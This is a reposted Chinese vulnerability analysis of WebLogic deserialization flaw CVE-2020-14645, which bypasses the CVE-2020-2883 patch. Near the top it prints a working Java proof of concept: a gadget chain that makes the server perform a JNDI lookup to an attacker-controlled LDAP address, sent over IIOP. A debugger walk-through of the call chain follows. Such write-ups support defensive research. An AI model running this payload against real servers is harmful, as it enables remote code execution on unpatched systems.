您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

黑客大神的Weblogic 远程命令执行漏洞分析

时间:2020-08-21 10:31:19  来源:  作者:

前言

近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor 调用任意方法,从而实现调用 Runtime 对象的 exec 方法执行任意命令,补丁将 ReflectionExtractor 列入黑名单,那么可以使用 UniversalExtractor 重新构造一条利用链。UniversalExtractor 任意调用 get、is方法导致可利用 JDNI 远程动态类加载。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的,本文也是基于该版本进行分析。

漏洞复现

漏洞利用 POC,以下的分析也是基于该 POC 进行分析

ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));

queue.add("1");

queue.add("1");

//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法

UniversalExtractor universalExtractor = new UniversalExtractor();

Object object = new Object[]{};

Reflections.setFieldValue(universalExtractor,"m_aoParam",object);

Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");

Reflections.setFieldValue(universalExtractor,"m_fMethod",false);

ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};

Field[] fields = ChainedExtractor.class.getDeclaredFields();

Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");

field.setAccessible(true);

field.set(chainedExtractor,valueExtractor_list);

JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);

jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");

Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));

queueArray[0] = jdbcRowSet;

// 发送 IIOP 协议数据包

Context context = getContext("iiop://ip:port");

context.rebind("hello", queue);

成功弹出计算机

黑客大神的Weblogic 远程命令执行漏洞分析

漏洞分析

了解过 JDNI 注入的都知道漏洞在 lookup() 出发,这里在 JdbcRowSetImpl.class 中 326 行 lookup() 函数处设置断点,以下为漏洞利用的简要调用链条:

黑客大神的Weblogic 远程命令执行漏洞分析

我们从头分析,我们都知道反序列化的根本是对象反序列化的时候,我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来。我们在 in.readObject() 处打断点,跟进查看 PriorityQueue.readObject() 方法

黑客大神的Weblogic 远程命令执行漏洞分析

这里 782 执行 s.defaultReadObject() ,785 执行 s.readInt() 赋给对象输入流大小以及数组长度,并在 790 行执行 for 循环,依次将 s.readObject() 方法赋值给 queue 对象数组,这里 queue 对象数组长度为 2。

黑客大神的Weblogic 远程命令执行漏洞分析

接着往下跟,查看 heapify() 方法。PriorityQueue 实际上是一个最小堆,这里通过 siftDown() 方法进行排序实现堆化,

黑客大神的Weblogic 远程命令执行漏洞分析

跟进 siftDown() 方法,这里首先判断 comparator 是否为空

黑客大神的Weblogic 远程命令执行漏洞分析

我们可以看看 comparator 是怎么来的,由此可见是在 PriorityQueue 的构造函数中被赋值的,在初始化构造时,除了给 this.comparator 进行赋值之外,通过 initialCapacity 进行初始化长度。

黑客大神的Weblogic 远程命令执行漏洞分析

comparator 不为空,所以我们执行的是 siftDownUsingComparator() 方法,所以跟进 siftDownUsingComparator() 方法。

继续跟进 ExtractorComparator.compare() 方法

黑客大神的Weblogic 远程命令执行漏洞分析

这里调用的是 this.m_extractor.extract() 方法,

黑客大神的Weblogic 远程命令执行漏洞分析

来看看 this.m_extractor,这里传入了 extractor,

黑客大神的Weblogic 远程命令执行漏洞分析

this.m_extractor 的值是与传入的 extractor 有关的。这里需要构造 this.m_extractor 为 ChainedExtractor,才可以调用 ChainedExtractor 的 extract() 方法实现 extract() 调用。

继续跟进 ChainedExtractor.extract() 方法,

黑客大神的Weblogic 远程命令执行漏洞分析

可以发现会遍历 aExtractor 数组,并调用 extract() 方法。

跟进 extract() 方法,此处由于 m_cacheTarget 使用了 transient 修饰,无法被反序列化,因此只能执行 else 部分,最后通过 this.extractComplex(oTarget) 进行最终触发漏洞点

黑客大神的Weblogic 远程命令执行漏洞分析

this.extractComplex(oTarget) 中可以看到最后通过 method.invoke() 进行反射执行,其中 oTarget 和 aoParam 都是可控的。

黑客大神的Weblogic 远程命令执行漏洞分析

我们跟进190的 findMethod() 方法,在 475 行需要使 fExactMatch 为 true,fStatic 为 false 才可让传入 clz 的可以获取任意方法。fStatic 是可控的,而 fExactMatch 默认为true ,只要没进入 for 循环即可保持 true 不变,使 cParams 为空即 aclzParam 为空的 Class 数组即可,此处 aclzParam 从 getClassArray() 方法获取。

黑客大神的Weblogic 远程命令执行漏洞分析

在 getClasssArray 中通过获取输入参数的值对应的 Class 进行处理。

黑客大神的Weblogic 远程命令执行漏洞分析

由于传入的 aoParam 是一个空的 Object[],所以获取对应的 Class 也为空的 Class[],跟入 isPropertyExtractor() 中进行进行获取可以看到将 this._fMethod 获取相反的值。

黑客大神的Weblogic 远程命令执行漏洞分析

由于 m_fMethod 被 transient 修饰,不会被序列化,通过分析 m_fMethod 赋值过程,可发现在 init() 时会获取sCName,并且通过判定是否为 () 结尾来进行赋值。

黑客大神的Weblogic 远程命令执行漏洞分析

 

 

黑客大神的Weblogic 远程命令执行漏洞分析

由于参数为 this 的原因,导致getValueExtractorCanonicalName()方法返回的都是 null。

黑客大神的Weblogic 远程命令执行漏洞分析

跟入 getValueExtractorCanonicalName()函数,最后是通过调用 computeValuExtractorCanonicalName 进行处理。

黑客大神的Weblogic 远程命令执行漏洞分析

跟入 computeValuExtractorCanonicalName() 之后,如果 aoParam不为 null 且数组长度大于 0 就会返回 null,由于 aoParam 必须为 null ,因此我们调用的方法必须是无参的。接着如果方法名 sName 不一 () 结尾,就会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头,如果是的话就会截取掉并返回。

黑客大神的Weblogic 远程命令执行漏洞分析

回到 extractComplex() 方法中,在 if 条件里会对上述返回的方法名做首字母大写处理,然后拼接 BEAN_ACCESSOR_PREFIXES 数组中的前缀,判断 clzTarget 类中是否含有拼接后的方法。这里可以看到我们只能调用任意类中的 get 和 is 开头的无参方法。也就解释了为什么 poc 会想到利用 JNDI 来进行远程动态类加载。

黑客大神的Weblogic 远程命令执行漏洞分析

跟进 method.invoke() 方法,会直接跳转至 JdbcRowSetImpl.getDatabaseMetaData()。

黑客大神的Weblogic 远程命令执行漏洞分析

 

 

黑客大神的Weblogic 远程命令执行漏洞分析

由于JdbcRowSetImpl.getDatabaseMetaData(),调用了 this.connect(),可以看到在 326 行执行了 lookup 操作,触发了漏洞。

黑客大神的Weblogic 远程命令执行漏洞分析

 

 

黑客大神的Weblogic 远程命令执行漏洞分析

至此,跟进 getDataSourceName(),可看到调用了可控制的 dataSource。

黑客大神的Weblogic 远程命令执行漏洞分析

总结

此漏洞主要以绕过黑名单的形式,利用 UniversalExtractor 任意调用get、is方法导致 JNDI 注入,由此拓展 CVE-2020-14625。



Tags:Weblogic   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
WebLogic执行线程耗尽解决方案WebLogic执行线程耗尽1.1、概述 更多WebLogic相关知识&middot;:WebLogic集群管理 生活中常用脚本及运维技巧 WebLogic图形化安装及静默安装WebL...【详细内容】
2020-09-07  Tags: Weblogic  点击:(241)  评论:(0)  加入收藏
前言近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是对 CVE-2020-2883的补丁进行绕过。之前的 CVE-2020-2883 本质上是通过 ReflectionExtractor 调用任意方法...【详细内容】
2020-08-21  Tags: Weblogic  点击:(113)  评论:(0)  加入收藏
1. Weblogic弱口令漏洞复现环境启动后,访问`http://your-ip:7001/console`,即为weblogic后台 登录窗口拦截数据包 send to repeater,positions下清空所有变量,add$账号密码变量...【详细内容】
2020-08-10  Tags: Weblogic  点击:(190)  评论:(0)  加入收藏
1. Weblogic弱口令漏洞复现环境启动后,访问`http://your-ip:7001/console`,即为weblogic后台 登录窗口拦截数据包 send to repeater,positions下清空所有变量,add$账号密码变量...【详细内容】
2020-08-10  Tags: Weblogic  点击:(143)  评论:(0)  加入收藏
近日,Oracle官方发布2020年7月关键补丁更新,共修复443个危害程度不同的安全漏洞。其中针对 WebLogic Server Core组件的高危漏洞4个,漏洞编号分别为CVE-2020-14625、CVE-2020-1...【详细内容】
2020-07-23  Tags: Weblogic  点击:(127)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条